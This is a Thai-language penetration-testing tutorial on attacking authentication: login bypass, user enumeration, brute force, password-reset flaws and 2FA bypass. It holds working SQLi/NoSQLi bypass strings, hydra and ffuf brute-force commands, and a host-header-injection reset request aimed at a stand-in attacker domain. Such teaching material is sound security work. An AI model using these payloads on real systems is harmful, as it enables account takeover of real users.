Authentication Testing
Authentication Testing คือการตรวจกลไกยืนยันตัวตนเพื่อหาจุดที่ทำให้ bypass, เข้าบัญชีคนอื่น หรือ enumerate ผู้ใช้ได้ ครอบคลุม SQLi/logic bypass, brute-force ที่ฉลาด, user enumeration, จุดอ่อน password reset (token เดาได้/host header injection), และ 2FA bypass (ข้าม step, brute OTP, response manipulation, race condition) บทนี้ไล่ทุกด่านของ auth ตั้งแต่ registration ถึง reset
1. attack surface ของ authentication
auth ไม่ได้มีแค่หน้า login — ทุกจุดที่ 'สร้าง/ยืนยัน/กู้คืน' ตัวตนล้วนเป็นเป้า ต้องกวาดให้ครบทุกด่าน เพราะจุดที่อ่อนที่สุดคือจุดที่แตก
- Registration: สมัครซ้ำ username (overwrite บัญชีคนอื่น), inject ค่าตอนสมัคร, email อยู่แล้วต่างกันอย่างไร (enum)
- Login: SQLi/NoSQLi bypass, brute-force, user enumeration, response/timing ต่างกัน
- 2FA/MFA: ข้าม step ไปหน้า post-2FA, brute OTP, code ใช้ซ้ำ, race condition, response manipulation
- Password reset: token เดาได้/ไม่หมดอายุ/ผูกกับ user ผิด, host header injection, reset ของคนอื่น
- Remember-me / session: token เดาได้, ไม่ invalidate หลัง logout (ดู Session Testing)
- OAuth/SSO: ดูหัวข้อ OAuth Attacks (redirect_uri, state, token leak)
2. Login bypass
# SQLi — comment ตัดเงื่อนไข password ออก
username=admin'-- -&password=x
username=admin'#&password=x
username=admin' OR '1'='1' LIMIT 1-- -&password=x
# NoSQL (MongoDB) — operator injection ผ่าน JSON body
{"username":"admin","password":{"$ne":null}}
{"username":{"$gt":""},"password":{"$gt":""}}
{"username":"admin","password":{"$regex":"^a"}} # ดึง password ทีละตัว- Response manipulation: ถ้า client ตัดสินผลจาก JSON เช่น
{"success":false}ลองแก้เป็นtrue(พบใน SPA/มือถือที่เชื่อ response) - Default/weak creds: admin:admin, admin:password, test:test, ดู doc/CVE ของ product
- Logic flaw: ส่ง field ที่ไม่ควร (empty password bypass, array แทน string)
- Case/whitespace ใน username:
Admin,admin,admin\x00อาจ match ต่างจาก uniqueness check
3. User enumeration
ถ้าระบบตอบต่างกันเมื่อ username 'มี' vs 'ไม่มี' ผู้โจมตี enumerate รายชื่อผู้ใช้จริงมาก่อน brute password ได้ ความต่างซ่อนได้หลายที่ ไม่ใช่แค่ข้อความ error
| ช่องทางที่รั่ว | สัญญาณ |
|---|---|
| ข้อความ error | "invalid username" vs "invalid password" |
| Timing | user มีอยู่ → ระบบ hash password → ช้ากว่า user ที่ไม่มี |
| HTTP status/length | 200 vs 302, ขนาด response ต่างกันเล็กน้อย |
| Password reset | "เราส่งเมลแล้ว" เฉพาะเมื่อ email มีอยู่จริง |
| Registration | "username นี้ถูกใช้แล้ว" |
| Rate-limit/lockout | lockout trigger เฉพาะ user ที่มีจริง |
4. Brute-force ที่ฉลาด
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
target.com http-post-form \
"/login:username=^USER^&password=^PASS^:F=Invalid credentials"
# -L users.txt สำหรับหลาย user, -t 4 ลด thread กัน lockout
# F=<สตริงเมื่อ fail> หรือ S=<สตริงเมื่อ success>ffuf -u https://target/login -X POST \
-d 'username=admin&password=FUZZ' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-w rockyou.txt -fr 'Invalid' -mc all
# -fr กรอง response ที่ fail; อันที่เหลือ = candidate- Password spraying: แทน brute 1 user หลาย password → ใช้ 1-2 password ยอดฮิต (Winter2024!) ยิงหลาย user เลี่ยง lockout
- Credential stuffing: ใช้ user:pass ที่รั่วจากที่อื่น (เฉพาะ scope/lab ที่อนุญาต)
- Bypass rate-limit: เปลี่ยน IP (X-Forwarded-For), เว้นจังหวะ, ใช้ race condition ยิงพร้อมกันก่อน counter ตาม (ดู Race Condition)
- Lockout enum: lockout ที่ trigger เฉพาะ user จริง = ช่อง enumerate อีกทาง
5. Password reset attacks
flow reset ที่ออกแบบพลาดเป็นทางเข้าบัญชีที่ตรงที่สุด จุดอ่อนหลักอยู่ที่ token และ ปลายทางที่ลิงก์ชี้ไป
- Token เดาได้: token เป็นเลขเรียง/timestamp/MD5(email) → คำนวณ/enumerate ได้
- Token ไม่หมดอายุ / ใช้ซ้ำ: token เก่ายังใช้ได้ หรือใช้ได้หลายครั้ง
- Token ไม่ผูก user: ขอ reset ของเราแล้วเอา token ไปใช้ reset บัญชีคนอื่น (สลับ username ในขั้น submit)
- Host header injection: ลิงก์ในเมลสร้างจาก Host header — ปลอม Host เป็นโดเมนเรา → เหยื่อคลิก token หลุดมาที่เรา
- Response leak token: บาง API คืน token/redirect ที่มี token ใน response ตรงๆ
POST /forgot-password HTTP/1.1
Host: evil-attacker.com
Content-Type: application/x-www-form-urlencoded
[email protected]
# ถ้า app ประกอบลิงก์จาก Host:
# https://evil-attacker.com/reset?token=SECRET
# เหยื่อคลิก → token ถูกส่งมาที่ server ของเรา → รีเซ็ตบัญชีเหยื่อ
# ลองสายอื่น: X-Forwarded-Host, Host: target.com:evil, dangling markup# 1) ขอ reset ของเราเอง → ได้ token ที่ใช้งานได้
# 2) ขั้น submit ส่ง token ของเรา แต่ชี้ user เหยื่อ
POST /reset-password HTTP/1.1
Content-Type: application/json
{"token":"OUR_VALID_TOKEN","username":"victim","new_password":"pwned123"}6. 2FA / MFA bypass
- ข้าม step: หลังกรอก user/pass ระบบให้ session แล้ว — เรียก endpoint หลัง 2FA (/account, /dashboard) ตรงๆ อาจเข้าได้เลย
- Brute OTP: code 6 หลักไม่มี rate-limit/ไม่หมดอายุเร็ว → 000000-999999 (ใช้ Intruder/race)
- Reuse / race: code เดิมใช้ได้หลายครั้ง หรือยิงหลาย request พร้อมกันก่อน counter ตาม
- Response manipulation: client เชื่อ
{"2fa":"fail"}→ แก้เป็นsuccess - Backup code / fallback ที่อ่อน: ช่องทาง 'ลืมอุปกรณ์' ที่กันหลวมกว่า
- ผูก 2FA ของเรากับบัญชีเหยื่อ: เปิด 2FA ตอนล็อกอินเป็นเหยื่อผ่าน flaw อื่น
7. ตัวอย่าง CTF & Real-world
CTF (PortSwigger): 2FA broken logic — หลังกรอก user/pass ระบบออก session cookie ให้ทันที แล้วหน้า verify OTP ยิง POST /login2 แค่เปลี่ยน parameter verify=carlos ให้ชี้เหยื่อ + brute OTP 4 หลักที่ไม่ rate-limit → เข้าบัญชี carlos
Real-world: reset flow ประกอบลิงก์จาก X-Forwarded-Host ที่ CDN ไม่ strip — ส่ง reset ให้เหยื่อพร้อม header ชี้โดเมนเรา เมื่อเหยื่อคลิก token หลุดเข้า log ของเรา = account takeover เต็มรูปแบบ พบซ้ำในหลาย bug bounty
| สัญญาณ | ลองทำ |
|---|---|
| error login ต่างกันตาม user | user enumeration → spray |
| OTP 4-6 หลัก ไม่ rate-limit | brute OTP / race |
| reset link มี token ในรูปเดาได้ | คำนวณ/enumerate token |
| Host header สะท้อนในเมล | host header injection |
| response JSON ตัดสินผล | response manipulation |
| session cookie ออกก่อน 2FA | ข้าม step ไป endpoint หลัง 2FA |
8. ข้อผิดพลาด & การป้องกัน
- Brute จนบัญชีล็อก: ทำระบบรวน/กระทบผู้ใช้จริง — คุม rate + ใช้ spraying แทน
- มองแค่หน้า login: ช่องจริงมักอยู่ที่ reset/2FA/registration
- ไม่เทียบ baseline: ตัดสิน enum จาก error อย่างเดียว ลืม timing/length/status
- ลืมทดสอบ session หลัง 2FA: ว่า invalidate/regenerate ไหม
9. Quick Reference
- surface: register / login / 2FA / reset / session
- login: SQLi/NoSQLi bypass, response manipulation, weak creds
- enum: error/timing/length/status ต่างกันตาม user
- brute: hydra/ffuf; spraying เลี่ยง lockout; bypass rate ด้วย XFF/race
- reset: token เดาได้/ไม่ผูก user, host header injection
- 2FA: ข้าม step, brute OTP, reuse/race, response manipulation
- ป้องกัน: error เป็นกลาง, rate-limit, token แข็งแรง+ครั้งเดียว, 2FA บังคับจริง
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติเจอหน้า login เปล่าๆ ไม่รู้จะเริ่มตรงไหน มีแค่ Kali ทำตามนี้ทีละขั้นเพื่อไล่ทุกด่านของ authentication
- 1เปิด Burp Suite ดัก request login แล้วลอง SQLi/NoSQLi bypass พื้นฐานก่อน (admin'-- , {"$ne":null}) ผ่าน Repeater
- 2เทียบ error message/response length/เวลา ระหว่าง username ที่มีจริงกับที่ไม่มี (จดค่าไว้เป็น baseline)
- 3ใช้ Burp Intruder หรือ hydra ลอง user enumeration ด้วย wordlist ชื่อทั่วไป (SecLists usernames)
- 4ถ้า enumerate เจอ user จริง ลอง password spraying ด้วย hydra/ffuf (1-2 password ยอดฮิตกับหลาย user กันโดน lockout)
- 5ลองหน้า forgot-password: ขอ reset ดูว่า token ที่ได้เดาง่ายไหม (เลขเรียง/timestamp/MD5 ที่คำนวณได้)
- 6ทดสอบ Host header injection ตอนขอ reset ด้วย Burp Repeater แก้ Host เป็นโดเมนที่เราคุม แล้วดูลิงก์ในเมล (ถ้ามี mail sink ให้ดู)
- 7ถ้ามี 2FA เช็คว่า session cookie ออกก่อน 2FA ไหม (เรียก endpoint หลัง 2FA เช่น /dashboard ตรงๆ ด้วย session ที่มี)
- 8ถ้า OTP สั้น (4-6 หลัก) ไม่ rate-limit ลอง brute ด้วย Burp Intruder (Sniper/Cluster bomb)
- 9ลอง response manipulation: ถ้า client ตัดสินจาก JSON เช่น {"2fa":"fail"} ลองแก้เป็น success ด้วย Burp Match & Replace
- 10ถ้า session เป็น JWT (ขึ้นต้น eyJ) ไปต่อที่ jwt.io เพื่อตรวจ signature
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| brute-force login form | hydra | - | - |
| ดักจับ/แก้ไข request | Burp Suite Community | - | - |
| fuzz user/password + filter response | ffuf | - | - |
| ทดสอบ SQLi bypass อัตโนมัติ | - | apt install sqlmap | - |
| wordlist username/password ทั่วไป | SecLists (/usr/share/seclists) | apt install seclists | - |
| ดู/แก้ JWT session | - | git clone https://github.com/ticarpi/jwt_tool | jwt.io |
| crack weak reset token/hash | hashcat | - | crackstation.net |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้